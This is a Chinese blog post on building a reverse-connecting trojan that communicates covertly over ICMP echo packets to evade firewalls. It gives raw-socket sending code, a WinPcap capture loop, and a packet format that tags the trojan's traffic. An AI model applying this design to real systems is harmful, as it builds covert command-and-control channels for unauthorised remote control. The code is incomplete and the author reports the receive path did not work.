基于ICMP的反弹式木马研究与实现
2015-04-26 21:33
357 查看
基于ICMP的反弹式木马研究与实现
ICMP木马技术最初是为了摆脱端口的束缚而出现,与TCP和UDP协议不同,ICMP并没有端口字段,因为ICMP报文是通过系统内核或进程直接进行。这样,木马的服务器端和木马的客户端的通信采用ICMP协议时,木马的服务器不用开方任何端口。一般意义上的ICMP木马,其实就类似与一个Ping的过程。 传统的木马都是利用一个TCP端口来监听控制端的连接,一旦控制端认证通过,攻击者便会对服务器进行非法控制,但这种方式的隐蔽性非常弱。因此有人提出了反弹窗口式木马,也就是服务器主动向被控制端发送连接请求。
一:ICMP通信的实现
1.1原始套接字的工作原理与规则:
原始套接字是一个特殊的套接字类型,他的创建方式跟TCP/UDP的创建方法几乎类似:
SOCKET socket=socket(AF_INET,SOCK_RAW,IPPRPTO_ICMP)//这说明创建的是一个基于ICMP协议的原始套接字。原始套接字能够访问传输层以下的数据,也就是说,你能够实现上至应用层的数据操作,下至链路层的数据操作。
sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))//用这个方式创建的原始套接字就能够直接读取链路层的数据。
(1):对于UDP/TCP产生的IP数据包,内核不将它传递给任何原始套接字,而只是将这些数据交给对应的UDP/TCP数据处理句柄(所以,如果你想要通过原始套接字来访问TCP/UDP或
者其它类型的数据,调用socket函数创建原始套接字第三个参数应该指定为htons(ETH_P_IP),
也就是通过直接访问数据链路层来实现.
(2):对于ICMP和EGP等使用IP数据包承载数据但又在传输层之下的协议类型的IP
数据包,内核不管是否已经有注册了的句柄来处理这些数据,都会将这些IP数据包复制一份传递给协议类型匹配的原始套接字
(3):对于不能识别协议类型的数据包,内核进行必要的校验,然后会查看是否有类型匹配的原始套接字负责处理这些数据,如果有的话,就会将这些IP数据包复制一份传递给匹配的原始套接字,否则,内核将会丢弃这个IP数据包并返回一个ICMP主机不可达的消息给源主机
(4)如果原始套接字bind绑定了一个地址,核心只将目的地址为本机IP地址的数包传递给原始套接字,如果某个原始套接字没有bind地址,核心就会把收到的所有IP数据包发给这个原始套接字
(5): 如果原始套接字调用了connect函数,则核心只将源地址为connect连接的IP地址的IP数据包传递给这个原始套接字
(6):如果原始套接字没有调用bind和connect函数,则核心会将所有协议匹配的IP数据包传递给这个原始套接字
1.2:利用原始套接字发送ICMP消息
由于操作系统的关系,创建一个原始套接字必须运行在管理员权限之下,因此,本程序全部运行在管理员模式。
WORD wVersion=MAKEWORD(2,2); WSADATA wsaData; WSAStartup(wVersion,&wsaData); if (LOBYTE(wsaData.wVersion)!=2||HIBYTE(wsaData.wVersion)!=2) { WSACleanup(); return -1; } addr.sin_family=AF_INET; addr.sin_addr.S_un.S_addr=inet_addr(dstIp.c_str()); addr.sin_port=0; sock=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);//创建原始套接字,设置为icmp类型 rst=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&outTime,sizeof(int));//设置发送超时 if (SOCKET_ERROR==rst) { cout<<"set outtime error"<<endl; WSACleanup(); return -2; } . int count=1;//设置发送的次数 int len=sizeof(sockaddr); while (count--) { ICMPHDR *icmp=new ICMPHDR;//ICMPHDR 定义的ICMP头格式 memset(icmp,0,sizeof(icmp)); FillIcmp(icmp); //用来初始化填充ICMP报文 SOCKADDR_IN addrFrom; int nLen=sizeof(addrFrom); icmp->icmp_type=8;//类型为8 icmp->icmp_code=0;//代表我是发送ping回复 icmp->icmp_sequence=5678;//证明这是我的木马。 strcpy_s(icmp->data,str.c_str()); //附带的数据 icmp->icmp_checksum = CheckSum((USHORT*)icmp, sizeof(ICMPHDR)); //进行ICMP的校验 int result; result = sendto(sock,(char*)icmp, sizeof(ICMPHDR),0,(SOCKADDR*)&addr,sizeof(SOCKADDR)); //向目标主机发送icmp请求包,也就得到这服务器的ip地址。 if (SOCKET_ERROR == result) { if (WSAETIMEDOUT == WSAGetLastError()) { cout << "send time out" << endl; continue; } else { cout << "sendto error" << endl; closesocket(sock); WSACleanup(); return -1; } } }
**这样就可以发送一条ICMP消息了。
但是在这里遇到了一个问题,希望能有大神给解答一下。 我在B电脑上创
建一个ICMP的套接字,为什么收不到A电脑发送的ICMP报文,通过抓包分析,A电脑发送的ICMP报文正确到达了B电脑,为什么这个原始套接字不能捕获这条ICMP报文。也正是由于这个原因, 我在下面服务器和客户端的ICMP报文接收中,使用的捕获数据链路层的包来分析ICMP的内容,这实在是一个巨大的遗憾!!**
1.3 接收ICMP消息
由于上述的原因,我并没有成功的直接接收到ICMP报文,因此,我转而通过嗅探的方法来捕获到达的ICMP报文,为了方便,这里使用了wincap来进行。大家也可以使用基于数据链路层的原始套接字来捕获ICMP消息,如果谁有更好的方法,请不吝赐教。
关键代码如下:
if ((devHandle=pcap_open_live(d->name,1600,1,1,er))==NULL)//d-namp为网卡的描述符,1600为缓冲区的大小,适当大小的缓冲区有利于提高响应的速度,1为将网卡置于混杂模式,1为响应的时间为1ms,具体参数的定义大家可以自行百度 { pcap_freealldevs(alldevs); return false; } if (pcap_datalink(devHandle)!=DLT_EN10MB) { AfxMessageBox(_T("不是以太网")); pcap_freealldevs(alldevs); return false; } m_ThreadHandle=AfxBeginThread((AFX_THREADPROC)MyProc,this); while (1) { pcap_next_ex(pThis->devHandle, &header, &pkt_data);//pkt__data即为捕获到的所有数据,大家可已根据IP和ICMP报文的格式进行分析,我就不再赘述 datapkt *data = new datapkt; memset(data,0,sizeof(data)); if(NULL == data) { AfxMessageBox(_T("空间已满,无法接收新的数据包")); return ; } if(pThis->analyze_frame(pkt_data,data)<0) { delete data; continue; } else { pThis->recvMSG(data);//得到了接收到的icmp消息 delete data; } }
二:通信数据格式的定义
互联网上的数据都有一定的格式,我们的木马程序使用的数据格式如下:这只是一个最简单的实现,可根据实际的需要设置自己的数据格式。
ICMP数据报格式:
8位类型码 8位代码 16校验和
16位标志位 16位序号
8位操作类型 最长1024位数据可选
其中,服务端发送的是类型码为8,代码为0的ICMP消息,这会被计算机理解为一个ping请求,故一般不会被防火墙拦截。
客户端发送的是类型码为0,代码为0的ICMP消息,这是一个ping回复。
16位标志位代表发送这个ICMP报文的进程号,
16位序号代表这个ICMP报文的序号,可以用来组装附加的数据
8位操作类型的定义如下:
三:服务器的实现
服务端和客户端的实现比较简单。服务端即被控制端。当被控制端开机,服务器会伴随启动,并发送ICMP请求给客户端,也就是发送操作类型为请求连接的ICMP消息给客户端,客户端收到这个消息以后,若同意,会发送ICMP连接确认,告诉被控主机。这时,就会建立起ICMP连接。其中,正常的ICMP消息和木马的ICMP消息,我是使用16位的标志位来标志这是属于我木马的ICMP消息。
四:客户端的实现
客户端更为简单,大家有疑问可以留言。
相关文章推荐
- 基于RTP和Android的视频传输的研究实现方法
- 基于组件模型的虚拟打印系统的研究与实现
- 基于JAVA技术的搜索引擎的研究与实现(转载)
- 基于OCCI的空间数据库几何对象实现方法研究
- 基于用户点击行为的数字图书搜索系统研究与实现 - 中国优秀硕士学位论文全文数据库
- 基于向量空间模型的文本自动分类系统的研究与实现
- PAST:基于对等网络节点协助的流媒体数据传输策略的研究与实现
- 基于SX52的嵌入式模拟系统的研究与实现
- 基于rtsp的手机视频点播实现和研究
- 基于热点短信息分类的研究与实现-2008年硕士论文答辩PPT
- 基于J2EE平台Web系统的软件测试研究和实现
- 基于hibernate的das实现研究(4)
- 基于HTML5 WebSocket的Web实时通信机制的研究与实现
- 基于ICMP的木马的编写
- 基于ICMP木马的编写
- 基于JMS的数据汇集系统的研究与实现
- 基于知识管理的高校考务管理系统的研究与实现
- 基于rtsp的手机视频点播实现和研究
- 基于rtsp的手机视频点播实现和研究
- 基于MPC8280 多通道控制器驱动的研究与实现